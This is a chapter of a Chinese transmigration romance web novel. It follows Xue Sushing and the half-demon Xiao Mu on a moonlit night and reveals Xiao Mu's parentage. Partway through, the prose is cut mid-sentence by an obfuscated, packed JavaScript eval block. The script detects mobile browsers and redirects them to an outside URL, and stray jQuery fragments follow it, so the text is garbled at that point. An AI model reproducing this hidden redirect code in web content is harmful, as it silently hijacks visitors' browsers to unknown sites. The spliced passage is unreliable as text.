43. 第 43 章

作品:《不小心攻略了美强惨[穿书]

    夜凉如水,月光如纱般蜿蜒绵亘,薛素笙推开房门,屋外萤火点点,她沿着石路走到后山,一首悠扬婉转的曲子随风送入耳中。


    不远处小瀑布的青石上,背对她坐着个身影,右手捏着一枚叶片搁在嘴边。


    薛素笙提起衣裙,踩进水里一路走到那块青石旁,拍了拍顺势挨着他坐下。


    像是习惯了,萧慕放下叶片,他们一同仰起头去看一轮月钩,钩在水中如镜花水月,萧慕总觉得现在的一切像一场别人的美梦,手一触碰就碎了。


    “我以为你还会躲着我。”


    冷不丁一声让薛素笙愣了一下,而后讪讪:“没有躲你,只是你需要单独的时间养伤。”


    她心虚地想,前几日确实纠结着没去看萧慕,一是她的缘故使剧情七零八落,萧慕重伤说不好也有她一份在里面,二是间接因为她让林清影和萧慕的缘分断了。


    薛素笙有些说不上来的愧疚。


    她眨了眨眼,萧慕还在看她,她高声岔开了话题:


    “我跟你说,今天山下的阿翁又来了……”


    絮絮的话语,声调如风筝一样节节攀升,萧慕能感受到喜悦的情绪波浪般涌过来,这场梦因她而变得真实,触手可及。


    在很久以前,他曾听闻有人说快乐是会感染的,现下看来这个说法并不是无迹可寻。


    百年来,薛素笙是他见过的最有活力,身上活气最重的人,仿佛世上的一切都能让她投入其中,自得其乐,没有什么能让她烦恼,她总是能最快找到让自己舒服的方式。


    往日总嫌弃聒噪的声音也在今日变得悦耳起来,萧慕垂下眼帘,嘴角勾起一点笑意,零星星子映在瀑布上,勾勒成一条地上的银河顺水流下。


    他捏起叶片放在唇边,唇瓣轻向外撅起,流畅的气流扇动叶片,呜呜咽咽吹过一首悠扬小调,不成曲谱,却意外地好听,夜风把曲子送的很远,穿过重重密林,荡过皑皑群山,一直去到层云交叠的最深处。


    薛素笙停了话头,脱下鞋袜,玉白的足在月色朦胧的清泉下踏出一阵阵飞溅的水花,水滴随着足弓飞起又落下。


    萧慕见状,悄悄转开脸,安静以叶吹曲,静谧的后山,少男少女并肩而坐,地上映照的影子矮上一截,稍低些的影子头靠着稍高些的影子,对影成双,萤火点点,暗香与暧昧在空气中浮动,萧慕偏头,毛绒绒的发丝蹭在耳侧,心潮荡漾。


    薛素笙笑得春意盎然,萧慕微微闭上眼,这笑声像一束光,敞亮地照进他干涸的心地,叮叮咚咚敲出花来。


    他不懂什么情,却在这一刻心有余悸,想拥抱这束光,想占有这束光。


    她是他借着月光,在藤蔓结满的长廊下,


    偷偷窥探的心事。


    ……


    厅堂内,鹤薇收捡出一盒小厨房新做的糕点,着人送去给薛素笙,想了想,她在内堂转悠半天,看着梅四英慢悠悠地坐在草墩上捡药草,还是没憋住。


    “老梅啊,你确定那小崽子没问题?从那天救他回来我就心里不安,他身上那妖气浓的都熏人了。”


    鹤薇当然见不得自己亲手养大的白菜天天和一个疑似妖的家伙混在一块,可梅四英每次都拦着她,要她等待。


    等等等,要等到什么时候?


    梅四英幽幽叹了口气,手上不停地捡着手里的药草:“想听个故事吗?”


    “这时候了你还说故事!”


    鹤薇一拍桌子,板着脸坐下:“愿闻其详。”


    梅四英闭着眼想了一会儿,开口徐徐讲起来,他说,百年前天玄门刚刚扬名之时,无极仙尊还不是仙尊,他还是天玄门的掌门,座下弟子百人,其中有一人天赋卓绝,是他最得意的首徒。


    “连我们都比不上他,我们炼气时那家伙已经将剑诀练到五层,只能干看着又嫉妒又羡慕。”


    这位首徒嫉恶如仇,月月下山为百姓降妖除魔,可不知从什么时候起,他对妖的态度产生了变化,他变得,慈悲了,以往对妖都是一杀了之,而后却多以渡为主,那商时序手上的降魔杵便是他所炼制。


    “后来,我们才知晓,他与一妖相识,二人从惺惺相惜的对手成了并肩而立的眷侣。”


    “和妖相爱,很通俗的故事。”


    梅四英又叹一声否认了她的点评:“若是寻常妖怪便罢了,大不了门派替他遮掩一些,可那是只妖王,还是最厉害的大妖王。”


    “罗刹一族的首领——苍舒。”


    “这!?”


    苍舒和首徒相爱后,无极仙尊得知了此事,将他们二人召进殿内,没人知道他们说了什么,可两人安然无恙出来便彰显了无极仙尊对此事的态度。


    “看来这仙尊也是个心宽之人。”


    “仙尊最是慈悲,因两族连年的战火,民众受难,那时那位首徒正与苍舒商议要与人间签订停战协定。”


    “这是好事呀,后来呢?”


    梅四英摇头:“看现形势就知,没成,首徒带着协定去两族交战战场时受袭不幸陨落,苍舒无端发了狂被仙尊制服,后来她逃了,整个罗刹族群被屠杀殆尽,只留下一个孩子趁乱逃走。”


    “老夫当年见证了一切,却什么也没做,愧疚的很啊。”


    ……


    薛素笙没再听下去,抱着糕点盒失神地走回房间,下楼梯时险些栽一跤,她本想来找师父问问今晚吃什么,可走到门口便听到她在和梅四英说话,他们说的故事何其耳熟,那两个名字,仿佛现在便能见到他们的神态。


    逃走的孩子,是萧慕吧,苍舒和萧岚的孩子,一个半妖,半个罗刹。


    崖底的骸骨,究竟是谁,却也不用再猜,亲手再一次杀死自己的母亲,他那时是怎样的心情呢?


    是夜,她抱着盒子,徘徊在庭院外,踌躇着不动。


    萧慕,未免有些可怜了,她回去后思前想后,承蒙他相救多次,去看看他吧,将师父送她的一盒子点心原封不动装好,又把自己自做的“奶茶”带着来找他。


    只是她来的不巧,似乎萧慕不在院子里,他们的房间挨的不远,很轻巧就能看到对方院里的灯火,今夜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368309|164319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他的房里是黑的。


    手提的灯笼摇晃,薛素笙撩开衣袍,坐在门前的台阶上,手支着撑着脑袋望着远处,盯着空无寂寥的暮色发起呆来。


    “你坐在这里干什么?”


    一双软底快靴踏在地板,头顶响起声音,薛素笙回神抬起头,萧慕站在面前,乌发被一弯明月映成银色,顺滑地随着微风扫过腰侧,他抱着剑,歪着头看她。


    “我……我来给你送吃的。”


    怎么一对上他就磕巴了,薛素笙心里懊恼。


    “进来吧。”


    “……”


    萧慕倒是轻松,推开门让薛素笙进去,丝毫没有什么男女大防的想法。


    薛素笙抱着盒子晃悠进去,嘴角却不可抑制地翘起来,他现在这么容易就放我进来了,在原著里萧慕的领地意识强到可怕,就连妖王也进不了他的房间。


    院落不大,本就是荒院,也没什么物什,本来堆着杂物,师父说什么也不让他们继续住在一起,于是收拾了这间房来给萧慕住。


    薛素笙仔细转了一转,发现院落周遭墙壁全是剑痕,白墙上布满划痕,墙灰落了一地。


    不难看出住在这的主人心乱意也乱,明显静不下心来。


    他在烦什么呢?


    薛素笙打开盒子,摸了摸,又拈起一块,等的时间太长,糕点都冷了,她正要放下,想着要不明日热一下再给他吃。


    谁知萧慕伸手握住她的手腕,偏头就着薛素笙的手咬了一口,他嚼了两下,拇指擦过嘴角,鲜红的舌舔掉粘在唇上的糕点屑,那双唇色淡而润,看的薛素笙脸一红。


    似乎很满意她的反应,萧慕连说话都带了几分愉悦:“很甜,就像你上次送我的糖葫芦。”


    上次,哦是在战场,薛素笙想到便脱口而出:“在战场上,你会害怕吗?”


    萧慕的脸色沉了沉,淡淡道:“不会,我们没有情感,也不需要情感,这种东西只会拖累我。”


    “那可不行,人有情感,妖也会有情绪和欲念,世上万物都有情,想要完全超脱,并非常人所能做到,总是如同木头一样,难免压抑久了,会产生可怕的后果。”


    萧慕垂头:“即便有,我也不需要。”


    “你不是无情,你只是在压抑。”


    “那日在寒潭,你还记得吗?你的情绪不稳定,就是那些被压抑的情绪已经积攒到一定的程度不得不爆发了。”


    薛素笙不知自己哪来的勇气,一鼓作气说下去,萧慕定定盯着她,忽然开口:“若我有一日有情了,你会离开吗?”


    她心上咯噔一声,望进那双深渊一般的眼睛,像深海的暗流,旋转着吞噬人心。


    萧慕靠在桌旁,灯火嘣地掉下火花,薛素笙没有回答这个问题,只偏开视线道:“你可以在我面前放松一点,有情绪也没关系,总有一日你会寻回自己在人间的线的,就像风筝一样。”


    夜风吹开房门,薛素笙正要起身去关,转身之时听得身后传来低沉的,暗含了莫名的情思:“这是你说的,我记住了。”